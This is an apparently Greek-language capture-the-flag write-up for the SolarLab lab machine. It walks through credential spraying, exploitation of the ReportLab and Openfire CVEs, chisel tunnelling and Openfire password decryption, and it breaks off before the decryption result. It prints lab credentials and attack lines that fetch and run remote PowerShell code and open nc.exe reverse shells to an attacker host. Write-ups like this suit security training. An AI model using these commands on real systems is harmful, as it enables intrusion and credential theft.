Το SolarLab ξεκινάει με SMB enumeration που αποκαλύπτει ένα αρχείο Excel με usernames και passwords. Μετά από ανακάλυψη subdomain και credential spraying πάνω στο ReportHub, εκμεταλλευόμαστε το CVE-2023-33733 (ReportLab RCE μέσω HTML-to-PDF injection) για foothold ως blake. Η πλευρική κίνηση προς τον χρήστη openfire περνάει μέσα από το CVE-2023-32315 (Openfire auth bypass). Το root επιτυγχάνεται αποκρυπτογραφώντας τον κωδικό admin του Openfire από την embedded database χρησιμοποιώντας ένα κλειδί blowfish.
Το port 6791 κάνει επίσης redirect αυτόματα στο report.solarlab.htb. Το προσθέτουμε στο /etc/hosts:
ReportHub — Επίθεση σε Credentials
Το port 6791 σερβίρει μια σελίδα Login to ReportHub:
Δοκιμάζοντας τα credentials από το xlsx — τα μηνύματα σφάλματος είναι συγκεκριμένα. Το User not found έναντι User authentication error επιτρέπει username enumeration. Οι AlexanderK και ClaudiaS υπάρχουν αλλά οι κωδικοί είναι λάθος:
Burp Intruder — credential spray
Χρησιμοποιούμε το Burp Intruder με επίθεση cluster bomb για να συνδυάσουμε usernames και passwords:
Δεν βρέθηκαν έγκυρα credentials στο πρώτο spray. Κοιτώντας πιο προσεκτικά το pattern των usernames — AlexanderK, ClaudiaS — υποδηλώνει Μικρό όνομα + αρχικό επωνύμου. Το xlsx δείχνει blake.byte οπότε το username θα πρέπει να είναι BlakeB:
Burp — hit BlakeB
# Μήκος request 660 (διαφορετικό από τα υπόλοιπα στο 2419) = έγκυρο loginBlakeB : ThisCanB3typedeasily1@
Έγκυρα credentials: BlakeB:ThisCanB3typedeasily1@
Foothold — CVE-2023-33733 (ReportLab RCE)
Μετά το login, το ReportHub εκθέτει τέσσερα features — Leave Request, Training Request, Home Office Request, και Travel Approval. Όλα δημιουργούν PDFs:
Ο generator PDF χρησιμοποιεί το ReportLab που είναι ευάλωτο στο CVE-2023-33733 — HTML injection στο πεδίο justification οδηγεί σε RCE μέσω της μηχανής rendering PDF:
Πυροδοτούμε ένα reverse shell μέσω ενός PowerShell download cradle ενσωματωμένου στο exploit:
payload CVE-2023-33733
# Εισηγμένο στο πεδίο justification (HTML rendered από το ReportLab)powershell.exe -c iex (iwr -UseBasicParsing http://10.10.14.63/Invoke-PowerShellTcpEx.ps1)SP1R4@kali)-[~]└$ sudo nc -lvnp 5555listening on [any] 5555 ...
connect to [10.10.14.63] from (UNKNOWN) [10.10.11.16] 53730
Windows PowerShell running as user blake on SOLARLABPS C:\Users\blake\Documents\app>
🚩 User flag αποκτήθηκε ως solarlab\blake.
Πλευρική κίνηση — blake → openfire
Ανακάλυψη credentials στη βάση δεδομένων της εφαρμογής
Μέσα στο C:\Users\blake\Documents\app\instance, υπάρχει ένα αρχείο SQLite users.db που περιέχει όλα τα credentials της εφαρμογής:
Ελέγχοντας τις ενεργές συνδέσεις και τον φάκελο C:\Users αποκαλύπτεται ένας χρήστης openfire και το Openfire να ακούει στο 127.0.0.1:9090:
Το WinPEAS επιβεβαιώνει τα credentials στο utils.py και δεν αποκαλύπτει τίποτα επιπλέον:
Ο φάκελος Openfire είναι απρόσιτος ως blake — χρειαζόμαστε πρώτα τον χρήστη openfire. Κάνουμε forward το port 9090 με το chisel:
chisel — port forward 9090
# Kali — εκκίνηση chisel serverSP1R4@kali)-[~]└$ chisel server --socks5 --reverse -p 1234# Target — connect back και tunnel του port 9090PS C:\Users\blake\Documents\app> .\chiselx86_64.exe client 10.10.14.63:1234 R:9090:127.0.0.1:9090
Κάνουμε login με τον νεοδημιουργημένο χρήστη, μετά ανεβάζουμε το plugin openfire-management-tool-plugin.jar:
Εκτελούμε ένα reverse shell μέσω του management tool για να πάρουμε κανονικό shell ως openfire:
shell openfire μέσω management tool
# Upload του nc.exe και εκτέλεση μέσω management toolcertutil -urlcache -f http://10.10.14.63/nc.exe nc.exe
nc.exe 10.10.14.64 4444 -e cmd.exeSP1R4@kali)-[~]└$ sudo nc -lvnp 4444C:\Program Files\Openfire\bin> whoamisolarlab\openfire
Privilege Escalation — openfire → Administrator
Openfire embedded-db
Ως openfire, μπορούμε τώρα να έχουμε πρόσβαση στον φάκελο Openfire. Ο φάκελος embedded-db περιέχει τα αρχεία της βάσης δεδομένων:
Το openfire.script περιέχει τον πίνακα OFUSER με τον κρυπτογραφημένο κωδικό του admin:
κρυπτογραφημένος κωδικός admin
INSERT INTO OFUSER VALUES('admin','gjMoswpK+HakPdvLIvp6eLKlYh0=','9MwNQcJ9bF4Ye...becb0c67cfec25aa266ae077e18177c5c3308e2255db062e4f0b77c577e159a11a94016d57ac62d4e89b2856b0289b365f3069802e59d442','Administrator','admin@solarlab.htb',...)
Εύρεση του κλειδιού blowfish
Ο πίνακας OFPROPERTY στο ίδιο script περιέχει το passwordKey που χρησιμοποιείται για κρυπτογράφηση blowfish:
passwordKey από OFPROPERTY
INSERT INTO OFPROPERTY VALUES('passwordKey','hGXiFzsKaAeYLjn',0,NULL)
Αποκρυπτογράφηση του κωδικού admin
Χρησιμοποιούμε το Java-based εργαλείο c0rdis/openfire_decrypt (η έκδοση PHP δεν δουλεύει):